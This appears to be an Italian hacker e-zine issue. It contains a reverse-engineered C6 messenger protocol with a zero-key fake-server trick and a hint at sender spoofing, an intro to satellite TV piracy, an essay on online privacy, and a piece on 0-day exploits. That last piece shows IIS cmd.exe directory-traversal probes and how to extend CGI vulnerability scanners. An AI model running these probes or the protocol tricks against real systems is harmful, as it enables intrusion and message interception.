Potrà sembrarvi molto il lavoro ancora da fare, ma invece è abbastanza poco. La codica del C6 è del tipo cifrario di Cesare, quindi estremamente semplice da crackare. Per la codifica della password per il momento non ho approfondito più di tanto, poichè stavo pensando di aggirare il problema. Essendo il protocollo ancora in fase di reversing, non sono ancora riuscito a reversarlo del tutto.

Come ho fatto a capire che si trattava di cifrario di cesare? Semplice, come ho già detto se si usa uno sniffer, un cumulo di dati (tra l'altro solo quelli client-server sono codificati) sono uguali (inviando due volte un messaggio, lo sniffing è quesi identico!). Se fosse SSL cambierebbe del tutto, ed è proprio questo che mi ha spinto alla decodifica.

Come primo pacchetto, il server manda al client la chiave di codifica (e qui c'è da dire che c'è qualcuno di cui non ricordo il nick che insisteva dicendo che lui non avrebbe mandato la chiave di codifica al client, ma invece è così) al client. La chiave sono gli ultimi 8 bytes. Azzerando questi, cioè impostandoli come bytes 00 si otterrà il testo in chiaro e, dato che così sarà più facile, è proprio così che lavoreremo. C'è poi da dire che tutte le comunicazioni client-server . cominciano con l'hex 10, mentre il serv.-client inizierà con 20. Al terzo e quarto byte troveremo quel che è un valore short che però non è in little-endian (cioè al contrario, la modalità usata dai programmatori esperti) come ci aspetteremmo. Questo contatore indica il numero di pacchetti inviati dal server al client; ce ne sarà anche uno nei pacchetti inviati dal client al server. Il quinto ed il sesto byte indicano anche qui un valore short non in little-endian che indica la lunghezza del messaggio fino alla fine (cominciando dalla fine del valore). Ci sono poi due bytes hex e cioè 00 02 seguiti dalla lunghezza della chiave (sempre valori short) seguiti infine dalla chiave, che noi dovremo azzerare. Per fare ciò dovremo creare il server e fargli inviare come chiave 00 00 00 00 00 00 00 00. Fatto questo il client ci invierà i dati riferiti al login (inutili qui e poi vedremo perchè).
Il pacchetto inizia con 10 0F, una stringa che sarà sempre uguale nelle stringhe inviate dal client. Vi è poi il contatore in short, i bytes alla fine del pacchetto sempre in short poi due bytes hex 10 01 che ci permetteranno di capire di che comando si tratta. Continuando, ci sono poi i bytes 00 01 che io ho collegato al fatto che si tratti di un solo username, ma non ne vedo lo scopo. Vi è poi un secondo valore che indica i bytes alla fine del pacchetto, sempre in short. Ora c'è la lunghezza dello username in singolo byte, seguito dallo username. Alla fine di questo c'è la lunghezza della pass codificata (e della quale per ora non conosco ancora l'algoritmo di decodifica). C'è poi la lunghezza della 'verifica' seguita dalla verifica. La 'verifica' credo sia un combinamento di pass e user dato che cambia sia cambiando l'uno che l'altro. Il pacchetto finisce con i bytes 01 0A 7F 00 00 01 00 14 A questo il server risponde, sia se è corretto o no, inviando dei bytes nei quali comanda il client di collegarsi ad un altro server. Ciò è probabilmente fatto per evitare problemi di sovraffollamento. Questo redirecting funziona così:
Inizia con i bytes 20 02, poi il valore del contatore sempre in short. Segue la lunghezza del pacchetto fino alla fine in short. Ora il server ci comunica l'ip e la porta alla quale dobbiamo collegarci. Il formato dell'ip sarà ABCD da noi interpretabile come A.B.C.D, seguito da due bytes 00 seguiti da altri 2 bytes che definiscono la porta in short.
Essendo particolarmente intricato, faccio uno schema:

20 12 [CONTAT] [LUNGH FINE] 00 02 [LUNGH FINE] [CHIAVE]

Dove CONTAT è il contatore LUNGH FINE la lunghezza fino alla fine del pacchetto e la chiave la chiave di codifica. Il pacchetto mandato dal client è:

10 0F [CONTAT] [LEN FINE] 10 01 00 01 [LEN FINE] [LEN USER]
-> [USER] [LEN PASS] [PASS] [LEN VERIF] [VERIF]

Dove LEN FINE è la lunghezza alla fine, LEN USER è la lunghezza dello username, PASS è la password in codifica e VERIF è la verifica.
Il server replica con:

20 02 [CONTAT] [LEN FINE] [IP] 00 00 [PORTA]

Dove IP è scritto in valori del tipo ABCD e significano A.B.C.D e PORTA è scritto in short.

Una volta fatto ciò, il client si scollega dal server e si ricollega all'indirizzo indicatogli dal server. Qui troverà un altro server c6 che

funzionerà come il primo per quanto riguarda i primi due pacchetti. Poi se il login è errato invierà questo pacchetto: 20 03 00 02 00 00
Facilmente è possibile intuire che 20 è l'ID del server che contrassegna ogni suo messaggio, 03 è il comando di errore, i seguenti due bytes sono in contatore e 00 00 sono bytes di riempimento (almeno credo :P)

Nel caso in cui è corretto il server manda del codice, ancora in fase di analisi, in cui scrive il messaggio di benvenuto che compare in alto a destra sulla finestra di c6 e invia i banners che il client mostrerà.

A questo punto il client richiede alcune informazioni sui pulsanti, come ad esempio 'scarica l'agenda!'.
Il codice per la richiesta è 10 0F 00 02 00 08 10 0D 00 02 00 02 01 2A
Ancora possiamo notare i primi due bytes, sempre uguali, il contatore, la lunghezza alla fine in short, 10 0D che è il cosiddetto ID del comando e vari altri bytes che non mi sono soffermato ad interpretare (tanto la stringa di richiesta è sempre uguale!).

Il server risponde quindi con la srtinga (in schema):
20 15 [CONTAT] [LEN FINE] [NUM PULS] [LUNGH TESTO] [TESTO]
-> [LUNGH LINK] [LINK] [...]

Oltre ai soliti bytes, troviamo num puls, un valore short che indica al client il numero di pulsanti da inserire; abbiamo poi TESTO che è il testo del pulsante e poi LINK che è il link a cui punta quel pulsante. Nel caso in cui sia più di un pulsante, la sequenza si ripete, partendo da lungh testo fino a link, fino all'esaurimento dei pulsanti (e di noi ihhiih :)

Il client poi invia la sua userlist al server che man mano gli dirà gli utenti che si collegano e si scollegano. Inoltre dopo aver mandato questa list, il server ci dirà i nick collegati.
La stringa di richiesta è questa (sempre schema):

10 0F [CONT] [LEN FINE LISTA] 10 03 00 03 [LEN FINE LISTA]
-> [NUM NICK] [LEN NICK] [NICK] [...] 10 0F 00 04 00 07 10
-> 0A 00 04 00 01 64

Dove LEN FINE LISTA è la lunghezza fino alla fine della lista (non del pacchetto), NUM NICK è il numero di nick, NICK è un nick. Il numero di nick è in short. Vengono inviati tante volte LEN NICK e NICK quanti sono i nick. Alla fine il pacchetto termina con quei bytes sopra scritti.

Una volta richiesta la lista dei nick collegati, il server ci
risponderà con quelli attualmente collegati; il pacchetto è

questo:
20 06 [CONTAT] [LEN FINE] [NUM NICK] [LEN NICK] [NICK]

NUM NICK è ancora una volta il numero di nick scritti, in short. LEN NICK e NICK vengono scritti tante volte quanti sono i nick da inviare.

Può capitare che a volte all'avvio di c6 (qui si conclude il login!) venga inviato anche il pacchetto che ci definisce disponibili, solo per i NetFriends o Occupati. I pacchetti in questione sono:

10 0F [CONT] [LEN FINE] 10 0A 00 04 00 01 [STATO]
Mettendo da parte i bytes già conosciuti, abbiamo STATO che può assumere i seguenti valori:
64 -> Disponibile

68 -> Solo NetFriends
70 -> Occupato

Analizziamo l'ultimo comando che ho reversato per ora: i messaggi.

Nell'invio di messaggi ci sono due comandi, uno per quello online ed uno per i messaggi verso utenti offline, (email). La differenza tra i due è minima: l'incremento di un valore.
Il pacchetto è così configurato:
10 0F [CONT] [LEN FINE] 10 [VAL] 00 05 [LEN FINE] [LEN SEND]
-> [SEND] 00 01 [LEN TO] [TO] [LEN FINE] [MESS]

VAL è un valore che cambia, è appunto quello che dicevo prima che incrementa:
08 -> Messaggio online
09 -> Messaggio offline (email)

SEND è colui che invia il messaggio (spoof? ^^), TO è il ricevente e MESS è il messaggio (ma và? :)
Il valore 00 01 contenuto tra SEND e LEN TO potrebbe essere il numero di persone a cui mandare il messaggio...bisognerebbe provare a vedere mettendo 02 e due nick cosa succede :)

Beh...se mandiamo il messaggio, dobbiamo certamente anche poterlo ricevere! :)

Per quanto riguarda la ricezione, questo è lo schema di un pacchetto inviatoci dal server:
20 0F [CONT] [LEN FINE] [LEN FROM] [FROM] [LEN TO] [TO] 02 00
-> [MESS]

Qui non c'è nulla da aggiungere...tutto chiaro no?

----==[Saluti]==----

Un saluto a tutte le crew in cui sono che non nomino per motivi di spazio. Un altro saluto a tutti coloro che hanno provato a crackare C6 e non ci sono riusciti, ma comunque una mano potevano pure darmela (non ho trovato nessuno che mi aiutasse...ma ci sono riuscito anche da solo). Entro breve realizzerò un server dimostrativo in Visual Basic, utilizzabile solo in LAN: altri usi potrebbero essere illegali.

==-->

Nota per i ragazzi (ragazzi?) di Icona, la società che ha creato il motore di c6: sul vostro sito è scritto il seguente testo.

"Icona ha fondato il supporto a questo scenario la propria strategia; noi crediamo nello sviluppo di soluzioni basate su questa logica; e per attuarla sfruttiamo a pieno la nostra competenza nella progettazione che ha consentito lo sviluppo del framework OFS, asset aziendale e piattaforma cardine delle nostre principali soluzioni."

Beh...se voi sfruttate a pieno la vostra competenza e create un algoritmo che usa il cifrario di cesare e per il resto non protetto, cioè create un codice che può essere reversato in 2 giorni, credo che tutto ciò non sia abbastanza. Oltretutto l'OFS è il vostro cardine, bucando quello non credo di avervi fatti contenti, ma da nessuna parte ho letto delle clausole di accettazione del servizio (neanche

sul vostro sito) nelle quali fosse scritto che il reversing è vietato, ed è stato proprio per questo che ho reversato il protocollo. Credo che sia ora di aggiornare il protocollo...il client Atlantide non viene toccato da due anni...avete finito di ricevere i soldi? Io credo che vi convenga aggiornare tutti i messengers dato che sono tutti con lo stesso protocollo (cambierà poco) più o meno, quindi mettete mano alle tastiere :)
Assolutamente nulla di personale,

<--==

Byezz
--
BiGAlex
E-Mail: totalmeltdown@libero.it
SiTE: http://www.forum-informatico.it

Lezioni di SatHacking
Thacker

Lezioni di Sathacking by Thacker
Parte I: Cenni storici e funzionamento del sistema satellitare

...sat, sat e ancora sat. Con il computer sappiamo tutti (o quasi) cosa fare, ma con il ricevitore satellitare? Questa serie di articoli è frutto di tutto ciò che ho imparato in questi anni da documenti (ufficiali e non), forums e smanettamenti personali (sul mio ricevitore le mie wfrcard e dintorni)...

Ho chiesto a mayhem dell'interessamento di questo tipo di articoli, ed a risposta ottenuta mi sono precipitato a scrivere qualcosa (giusto come infarinatura per chi non conosce nulla sull' argomento...)

Bene, cominciamo... purtroppo non posso scrivere ancora nulla di preciso (e di divertente!) sull'argomento perchè il dovrei prima scrivere qualcosa sulla storia del sat... ok... (anche se ai più non credo interesserà...)

Mini glossario...

- Trasponder - L'insieme di più bouquet satellitari
- Bouquet - Pacchetto di canali appartenenti ad un porvider
- Provider - Gestore televisivo (tipo D+ o Stream...)
- wfrcard (wafer card) - Scheda pirata per l'accesso a programmi criptati.
- Stream (di dati, non il gestore tv) - flusso di dati (spediti e/o ricevuti)

Ricordate lo Sputnik (lo Sputnik1, si quello russo)? Bene quello è stato il primo satellite a mandare un segnale (anche se non interattivo) dall' orbita satellitare... (era un suono uguale a quello delle casse del computer o di un hi-fi al momento dell' accensione...). In seguito, in Europa venne costruito un sistema satellitare chiamato Astra [!] (pochi canali, poca potenza... ma che volete era uno dei primi sat ad essere costruiti per quello che li utilizzimo noi oggi...). Successivamente? Più richieste, più satelliti! Ecco allora che nasce la serie Eutelsat [!] (che in realtà non erano stati costruiti per fini commerciali, ma facevano parte di un programma spaziale... però poi si sa, ci sono sempre i soldi in mezzo).

Dopo il successo del primo Eutelsat lanciato, la Eutelsat decise di creare un nuovo set di satelliti da utilizzare. Vennero lanciati altri 5 satelliti (la serie Eutelsat f1-f5). Nell' 90 si aggiunse a loro un altro satellite di nome HotBird [!] e gi altri vennero spostati a dalla loro posizione originale a 13 gradi EST ed a 48 gradi EST. INFO: La maggior parte dei satelliti Eutelsat citati è ancora oggi operativo!

Attualmente la costellazione di satelliti Eutelsat è dotata di 200 Trasponders distribuiti su 14 Satelliti i 5 HotBird II (Serie W),4 Eutelsat II, 2 Eutelsat I, 2 TvSat2.

Cinque satelliti rimangono ancora da costruire e lanciare : SeSat, 2 EuropeSat 1b,2 ResSat e 2 serie W.

Grazie alla sua costellazione di satelliti HotBird II a 13°, la Eutelsat dispone del più grande sistema di broadCasting del mondo...

Dopo questi cenni di storia passiamo a qualcosa di più interessante. Come funziona un sistema di trasmissione e ricezione satelliare? In modo semplice funziona così... la stazione a terra trasmette il segnale (che poi vedremo come sarà) tramite delle grandi antenne paraboliche su alcune frequenze dedicate (dette di Up-link che servono solo a ricevere il segnale). Una volta ricevuto il segnale, il satellite lo amplifica e lo trasmette a terra nella zona determinata dal FootPrint (che è l' area di copertura della trasmissione del satellite e che dipende dalla posizione che ha il satellite nello spazio... ovviamente questo è già conosciuto dal gestore del satellite!) tramite un altra frequenza (detta Down-link che noi riceviamo con una comunissima parabola) che poi viene processata dal ricevitore e

visualizzata tramite il nostro televisore... Nel dettaglio però non è propio così... c'è da sapere che ogni satellite è dotato di diverse frequenze di Up-link (una per trasponder...), ma c'è un problema... l'utilizzo di un trasponder per ogni provider richiederebbe una grande spesa da parte dei provider stessi (Eutelsat & co. mica danno i trasponder agratis... li affittano!). Come risolvere questo problema? Basta trasmettere più canali per frequenza tramite una tecnica chiamata MultPlexing... questa tecnica consente di addizionare (o comprimere) più segnali al momento dell'invio della frequenza da parte della stazione a terra, di farlo ricevere ai satelliti e quindi rispedirlo alle nostre parabole ancora miscelato. Si occuperà poi il ricevitore a dividere correttamente il segnale ricevuto ed a visualizzare correttamente l'immagine (processo a sua volta chiamato DePlexing). Oggi comunque il segnale di Plexing viene inviato non solo dal gestore da terra, ma da alcuni satelliti viene utilizzato direttamente on-board (è il satellite stesso che 'plexa' il segnale, sgravando così il gestore da tale compito... avete mai notato dei canali di nome SkyPlex?). Ultimo cenno per oggi, la compressione dei dati (quello che dicevo per il MultiPlexing...). La compressione avviene in formato MPEG (...hu ma gurda un pò...) quindi quando capita di ricevere un canale con quadratini e cavoli vari, significa che la compressione usata è abbstanza forte... (come avviene per gli MP3 insomma...).

Credo che per ora possa bastare... la prossima volta vi parlerò delle Smart Card e dei diversi standard di trasmisione oggi più conosciuti ed usati (Seca, Irdeto). All prossima!

----------> Thacker ^_^

La falsa Liberta' della Rete

The Jackal < -jackal at libero dot it >

Chi e' abituato a vivere la Rete anche solo un passo oltre le chat-line e la posta elettronica, sara' anche abituato all'instabilita' congenita di questo universo basato sul progresso tecnologico. Basti pensare ai titoloni che accompagnano le presentazioni del nuovo hardware di sistema (la parte tangibile del vostro computer): oggi gioiellini all'avanguardia, dopodomani pezzi da museo. O basti pensare alle migliaia di societa' create al grido di new-economy... e dopo pochi mesi miseramente collassate sotto il peso della rivoluzione digitale. Questo e' "l'universo Internet"! Un contenitore pulsante di pensieri e di vite in costante movimento. A volte osannato, spesso contestato... ipotetico giudice dei nostri piccoli e grandi successi, ma anche spettatore distratto delle nostre tragedie.

Ed e' proprio questo freddo distacco che, nei giorni successivi l'11 Settembre, mi ha lasciato e mi lascia tutt'ora, ad ormai nove mesi dall'accaduto, ancora interdetto! Il distacco delle web-cam che continuavano a trasmettere le immagini di un'inesistente World Trade Center, il distacco con cui migliaia di siti collezionavano ed esponevano "le foto della tragedia", il distacco con cui si e' speculato in borsa, mentre qualcuno da piu' di cento piani si gettava nel vuoto. E allorche' la parola d'ordine sembrava essere "terza guerra mondiale", pochi, forse, si sono soffermati a riflettere sul macroscopico cambiamento nel modo di vedere e vivere la Rete che, come spesso accade, ben presto potrebbe riflettersi nella nostra vita di tutti i giorni. I sistemi di spionaggio e controspionaggio mondiali (Echelon in testa a tutti) hanno fallito miseramente, elusi, a quanto pare, non da inimmaginabili prodezze tecnologiche, ma da semplicissimi programmi di crittografia forte (magari proprio dal blasonato PGP http://www.pgpi.org/).

Questo senso di impotenza di fronte ad un'arma tanto potente quanto facilmente accessibile a chiunque in Rete, ha messo in allarme ed ha spinto l'FBI a chiedere, con sempre maggiore inisistenza, sia l'installazione del sistema di intercettazione denominato Carnivore presso i principali provider degli Stati Uniti, sia la presenza, in tutti i programmi di crittografia, di una "backdoor" (una specie di "entrata secondaria") che permetta, attraverso una chiave universale di decrittazione, la lettura "in chiaro" dei messaggi intercettati dallo stesso Carnivore.

Ovviamente quasi tutti i Governi occidentali si stanno allineando al "pensiero americano".

Fino all'11 Settembre una simile richiesta avrebbe scatenato una vera e propria rivolta telematica. Fino a quel giorno maledetto nessuno aveva il diritto di violare la privacy di un qualsiasi utente della Rete. Lo scambio delle informazioni, infatti, doveva essere libero e, all'occorrenza, protetto con qualsiasi mezzo crittografico...

Ma poi ci sono stati gli attentati (con tutte le conseguenze che ancora oggi viviamo) e, la maggior parte degli utenti che un tempo avrebbero gridato allo scandalo, oggi sono dell'idea che, in un momento come questo, "svendere" la propria liberta' costituisca una scelta obbligata verso l'incolumita'... il "male minore" tra due diritti inviolabili ed incalpestabili della persona.

La storia ci insegna, pero', che ad essere controllati e limitati nelle liberta' fondamentali, facilmente ci si abitua e si tende ad accettare sempre maggiori restrizioni, bollando il tutto come "necessario".

Ma chi ha detto che i software d'intercettazione e le backdoors siano realmente necessari ed utili a salvaguardare la nostra incolumita'?

Queste tecniche sono soltanto la punta di un iceberg. I mezzi di controllo piu' ovvi, ma non gli unici e ne' i piu' efficaci. Gli attentati ci hanno dimostrato,

purtroppo a carissimo prezzo, che chi realmente vuole, puo' comunque comunicare in maniera del tutto anonima e che quindi, nel caso in cui la proposta dell'FBI venga accettata (come peraltro si presuppone), a rimetterci sarebbero soltanto gli utenti che codificano i propri messaggi per proteggere quel piccolo spazio di privacy che la Rete riserva ancora a tutti noi.

La soluzione ad un simile problema non e' di certo facile. E anche chi auspica un "giusto mezzo" tra liberta' e controllo finalizzato all'incolumita', non si accorge che una simile soluzione, proprio per quanto detto fin'ora, rallenterebbe soltanto il processo di controllo globale, non raggiungendo comunque nemmeno il fine prefissato.

Non resta, allora, altra strada percorrbile, se non quella di far sentire, all'occorrenza e in maniera civile, la forza della nostra idea di liberta'...

The Jackal [-jackal-@libero.it]

0days in pillole

xanthic < xanthic at email dot it >

Http://www.mojodo.it

Questo breve documento che sto scrivendo e' prettamente teorico, non scendo nei dettagli perche' l'argomento e' veramente molto delicato. Lo affronto in maniera semplice e chiara, vi fornisco info su tutto quello che so, pero' non chiedetemi di andare oltre... leggendo capirete meglio.

+---(Exploit 0days)

La parola 0days e' composta da 0 e days, e letteralmente sarebbe zerodays, ossia zero giorni. Gli 0days sono exploit che non vengono mai rilasciati pubblicamente dagli scopritori della vulnerabilita'. Per questo motivo sono molto rari e ricercati. Essi ti permettono di irrompere in sistemi tramite bug sconosciuti, lasciando un poco perplesso l'admin in questione. E' praticamente impossibile avere una box sicura al 100% perche' si trovano sempre nuove vulnerabilita' da sfruttare. L'unica cosa che si puo' fare e' ridurre il numero di possibilita' che la tua macchina venga attaccata. Se in un server girano 19 servizi la percentuale di probabilita' che esso venga exploittato e' maggiore di una macchina sulla quale gira un solo servizio. Ok, abbiamo capito che 0days significa che nessuno e' al corrente della vulnerabilita' appena trovata. Ma dove posso trovare questi 0days? Credo abbiate capito che far ricercare a google "0days Exploits" sia piuttosto inutile, perche' anche se esso vi trovasse qualcosa, sarebbero exploit gia' utilizzati da centinaia di persone, percio' il valore di "0day" si annulla! Se trovate un sito in cui il webmaster si vanta di avere 0days, e' tutta una farsa.. Se metti un 0day su un sito esso perde il suo valore, ossia ogni visitatore lo puo' utilizzare, diventa presto conosciuto e l'errore in questione verrebbe presto corretto.

Il miglior modo per trovare 0days e' scoprirseli da se, analizzando serie di codici alla ricerca di "qualcosa di strano" che catturi la nostra attenzione. Conoscere bene un linguaggio di programmazione aiuta molto in questo caso, perche' avere dimestichezza con un programma ti permette di avere una visuale piu' completa su di esso. A supporto di questa mia tesi vi invito a leggere il documento di Rain.Forest.Puppy apparso su Phrack #55 chiamato Perl CGI Problems, il quale vi fornisce esempi concreti di come utilizzare un linguaggio di programmazione per scoprire bug e vulnerabilita' varie nel codice. Dopo una lettura potrete notare che cio' che si limita a fare l'autore e' compiere esperimenti con bug conosciuti e sconosciuti in progetti open source: questo e' un procedimento raccomandatissimo per la ricerca di 0days! Per facilitarvi ancora la vita ho allegato il testo di Rain.Forest.Puppy a questo documento.

Gli exploit che si trovano senza setacciare nel codice o chiedendosi come il

codice risponderebbe a una tale modifica vengono solitamente trovati grazie alla conoscenza del sistema e del linguaggio dentro e fuori. Ad esempio, sapere come lavora un protocollo lascia intendere che tu possa verificare l'esistenza di alcuni modi per bypassarne le "barriere" della sicurezza. Per fare cio' bisogna avere moltissime conoscenze, e a volte e' indispensabile sapere un linguaggio di programmazione affinche' l'exploit possa essere scritto e fatto funzionare. A mio parere trovare l'exploit e scriverlo sono due operazioni differenti. Molta gente spesso trova un bug e chiede a un amico coder di scrivergli un'exploit.

Non male vero?

Se pensi che lavorando da solo non andrai molto lontano.. hai ragione. A meno che tu non passi giorni e giorni alla ricerca di bug e vulnerabilita' non troverai molti 0days. Il metodo migliore per avere 0days e' di diventare amico o socio di un gruppo di persone che si scambiano o che mettono in comune i loro 0days. Cerca di gestire i tuoi exploit con il gruppo, e di scambiarli con quelli degli altri membri, ma non essere mai tirchio o pigro, perche' cio' rovinerebbe il lavoro di tutti. Se una persona lavora parecchio mentre gli altri si limitano solamente a ricevere gli 0days.. beh, e' chiaro che non puo' funzionare.

+---(Kiddies @ work)

Introduco questa sottosezione ammettendo che purtroppo coloro i quali fanno maggior uso degli 0days sono cracker (o script kiddies) o meglio ancora utenti maliziosi che che irrompono in centinaia di server grazie all'utilizzo di un singolo exploit. Il motivo di questa sorta di "successo" l'ho menzionato prima: siccome l'0day e' un exploit nuovo, sconosciuto, i target vulnerabili sono numerosissimi. Pero' si puo' sempre sperare che l'0day sia stato trovato dall'amministratore di un sistema, che setacciando il suo server in cerca di vulnerabilita', e' inceppato in un bug. Analizziamo ora il lavoro che fanno i cracker:

Cracker: solitamente i cracker si scambiano tra loro i vari 0days come fossero figurine. Non e' una battuta, e' un paragone abbastanza azzeccato in questo contesto. Affinche' la propria collezione risulti piu' valida, piu' completa, e' necessario arrivare ai pezzi mancanti. E come si arriva a cio'? Tramite lo scambio. Facciamo un esempio concreto: io ho un 0day per apache e basta, ma vorrei averne di piu' per potere disporre di piu' target vulnerabili. Come mi comporto? Chiedo a qualche persona se vuole scambiare un suo 0day con il mio, e se essa accetta ho in mano due 0days, che garantiscono maggiori possibilita' di scambio. Chiaro il concetto? Diciamo che e' una sorta di mercato nero, gli 0days girano sottobanco e sono considerati qualcosa di preziosissimo e introvabile.

Una volta che si dispone di x 0days solitamente non ci si accontenta, ma si prosegue il lavoro di ricerca. Mettiamo che xyz vuole attaccare 20 box: cosa fa? Raccoglie il maggior numero di informazioni possibili sui server che vuole attaccare. Si annota molte info, tipo l'os che gira, i servizi e i possibili bug/vulnerabilita' della macchina. Poi va alla ricerca di eventuali exploit utilizzabili per i suoi scopi. Non ne trova. Che fa? Non manda tutto all'aria, bensi' conserva ugualmente le info trovate, e quando egli o un suo amico scoprira' una nuova vulnerabilita', potra' andare a controllare se tra i server annotati qualcuno e' vulnerabile al nuovo exploit. Gli admin dei server da attaccare tramite questo nuovo exploit non avranno alcuna possiblita' di salvare il proprio box, perche' non saranno al corrente del modo in cui sono stati bucati e comunque non ci sarebbero ancora misure di sicurezza adeguate.

+---(Targets)

Gli obiettivi piu' colpiti naturalmente sono i siti web, anche perche' sono piu' semplici da ownare. Talvolta essi vengono solamente ownati, ma nella maggior parte dei casi vengono sottoposti a deface. Fin qui ci siamo, ma come ci spieghiamo il fatto che le vittime più frequenti sono proprio i siti web? Semplice: essi aprono moltissime connessioni con l'httpd il quale e' facilmente exploittabile. Questo demone ha molte vulnerabilita' perche' con l'httpd e' possibile far interagire molti tipi di scripting, quali ad esempio php, cgi, asp, jsp ecc ecc, e si sa che i bug trovati tra questi script sono numerosi e, in alcuni casi, molto pericolosi.

+---(Learning @ the right places)

In questa sottosezione entrano in gioco gli admin, i quali, in questo caso, sarebbero le vittime. Come purtroppo ho gia' detto contro gli 0days nessuno puo' fare nulla inizialmente, perche' la vulnerabilita' non e' conosciuta percio' non si possono rilasciare patch apposite. Pero' prima o poi un rimedio viene trovato e reso pubblico sul sito ufficiale del servizio (oppure os, webserver) che ha permesso a una moltitudine di user di infestare un dato numero di sistemi vulnerabili. Quello che tutti gli admin dovrebbero fare e' aggiornare sempre il proprio sistema. Le modalita' sono semplici e molto efficaci. Inserite tra i preferiti siti che si occupano di security tipo www.securityfocus.com, packetstormsecurity.nl, www.cert.org ecc. ecc. e visitateli quotidianamente.
Visitate spesso anche le homepage del vostro webserver e os e curate soprattutto le sezioni patch/security ecc. Un buon link per quanto riguarda apache e' di certo www.apacheweek.com , per freebsd c'e' freebsd.org e via dicendo. E' giusto notare che tutti i siti che sto menzionando sono in inglese, percio' adeguatevi, perche' in italia ho visto solo punto-informatico.it funzionare benino. Un'altra dritta fondamentale che posso fornirvi richiede solo buona volonta': iscrivetevi alla mailing list di bugtraq e fatevi mandare via email tutte le ultime notizie di vulnerabilita' scoperte. Vi consiglio di dedicare a bugtraq un'intero email account (come faccio io) di modo da avere tutto sott'occhio ed evitare di fare confusione. Iscrivetevi chenneso' ad hotmail o a un qualsiasi servizio che vi permette di avere un account gratis utilizzabile da client, perche' gestire le email di bugtraq via browser fa letteralmente cadere le palle. Tra tutte le mail che vi arrivano selezionate quelle che vi si addicono, ad es. quelle che trattano bug in script di php (se ne fate uso), cgi, apache, unix, iis e via dicendo. Regolatevi in base alla configurazione del vostro sistema.

+---(Secure yourself)

Una delle tecniche piu' utilizzate dagli script kiddies per scovare eventuali vulnerabilita' di un host consiste nel cgi scanning. Vi mostrero' ora come e' possibile utilizzare un cgi-scanner per i nostri scopi (benefici). Vi allego due cgi scanner, uno per windows e uno da utilizzare sotto terminale unix, ossia due che utilizzo come esempio. Come lavora un cgi scanner: esso effettua una connessione all'host target alla ricerca di script vulnerabili e alla fine segnala tutti gli script trovati che potrebbero essere utilizzati per irrompere nel sistema. E' molto semplice vedere se il tuo server e' stato "vittima" di un cgi scanning, e' sufficiente verificare se nei log del webserver sono presenti molte richieste non valide (errore 404) come nell'esempio che vi riporto qui:

```
1.3.3.7  GET /winnt/system32/cmd.exe /c+dir 404
1.3.3.7  GET /winnt/system32/cmd.exe /c+dir 404
1.3.3.7  GET /../ ../winnt/system32/cmd.exe /c+dir 500
1.3.3.7  GET /winnt/system32/cmd.exe /c+dir 404
1.3.3.7  GET /../../winnt/system32/cmd.exe /c+dir 404
```

```
1.3.3.7  GET /winnt/system32/cmd.exe /c+dir 404
```

In questo caso e' semplice notare che l'attacker stava ricercando vulnerabilita' di windows, pero' non sara' sempre cosi'. Come potete vedere l'utilizzo di un cgi scanner viene sempre loggato, percio' tenete d'occhio frequentemente i log.
Alcuni scanner implementano l'utilizzo di proxy e in quel caso c'e' poco da fare per risalire all'attacker, pero' e' necessario aver sempre presente se qualcuno ce l'ha su con il vostro piccolo server. Torniamo al discorso iniziale: ho detto che noi possiamo utilizzare un cgi scanner a fin di bene ed in effetti e' cosi'.
Se scanniamo il nostro server possiamo vedere facilmente se siamo vulnerabili a determinati exploit, percio' abbiamo possibilita' di patchare e correggere l'errore. Analizziamo insieme il primo scanner, TCS per windows: la dir e' composta da quattro file, ma quello che ci interessa e' holes.list .
Editandolo con notepad possiamo notare che esso contiene l'elenco di script che lo scanner testa su ogni host che viene segnalato. Bene, la lista e' corposa, ma perche' non la modifichiamo a nostro piacimento? Ossia, possiamo effettuare delle modifiche che ci agevolano il lavoro? Logicamente si' e vi spiego come.
E' possibile aggiornare l'elenco delle vulnerabilita', ossia aggiungere nuovi script che permettono lo sfruttamento di nuove vulnerabilita'. Faccio un esempio per capire: mettiamo che il nostro webserver sia un apache 2.0.x e che utilizzi PHP. Su packetstorm sono stati rilasciati due exploit/advisory che trattano di vulnerabilita' dei webserver apache 1.3.23 e 2.0.x date dalla presenza del file test-cgi.bat nella directory /cgi-bin/ e delle versioni windows di php 4.0.4 e 4.1.4 a causa dello script php.exe . Invece che testare via browser la presenza (e vulnerabilita') dei due script possiamo automatizzare il tutto inserendoli nella lista di vulnerabilita' dello scanner. Inseriamo percio' sotto la voce /cgi-bin/ lo script /cgi-bin/test-cgi.bat e sotto php /php/php.exe , quindi facciamo partire lo scanner. Semplice vero? Ah un'altro consiglio: dopo aver scannato una prima volta il vostro server createvi un'altra lista di script da testare, di modo da facilitarvi la vita, rendere piu' semplice il lavoro e non ripetere sempre le stesse operazioni.
Analizziamo ora l'altro piccolo scanner, webscan.c
Dunque a prima vista notiamo subito che il funzionamento e' identico a tcs per windows, anche se entrambi dispongono di opzioni aggiuntive. Gettiamo subito lo sguardo sulla lista di script da scannare e prendiamo ad esempio il primo script della lista:

```
buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n";
```

a cui corrisponde

```
cginame[1] = "UnlG - backd00r ";
```

allora la prima stringa testa la presenza dello script unlg1.1 nel path cgi-bin mentre la seconda da un nome e una piccola descrizione del file. Anche qui e' possibile accomodare il sorgente in base ai nostri scopi, percio' e' consentito aggiungere nuove stringhe contenenti nuovi script da testare, seguendo un paio di accorgimenti. La sintassi per inserire nuove stringhe e' la seguente:

```
buff[x] = "GET /path/script HTTP/1.0\n\n";
```

dove al posto di [x] bisogna inserire il numero che segue quello dell'ultimo script presente in lista e al posto di /path/script si deve inserire la corretta stringa del file. Facciamo un esempio prendendo in considerazione test-cgi.bat : la stringa da inserire sotto a

```
buff[65] = "GET /carbo.dll HTTP/1.0\n\n";
```

sarebbe

```
buff[66] = "GET /cgi-bin/test-cgi.bat HTTP/1.0\n\n";
```

e a questa dobbiamo far corrispondere il nome dello script, perciò inseriamo

```
cginame[66] = "test-cgi.bat    ";
```

sotto alla stringa

```
cginame[65] = "carbo.dll       ";
```

Tutto chiaro? Spero di non avervi confuso le idee, anche se il funzionamento di tutto cio' e' intuitivo.
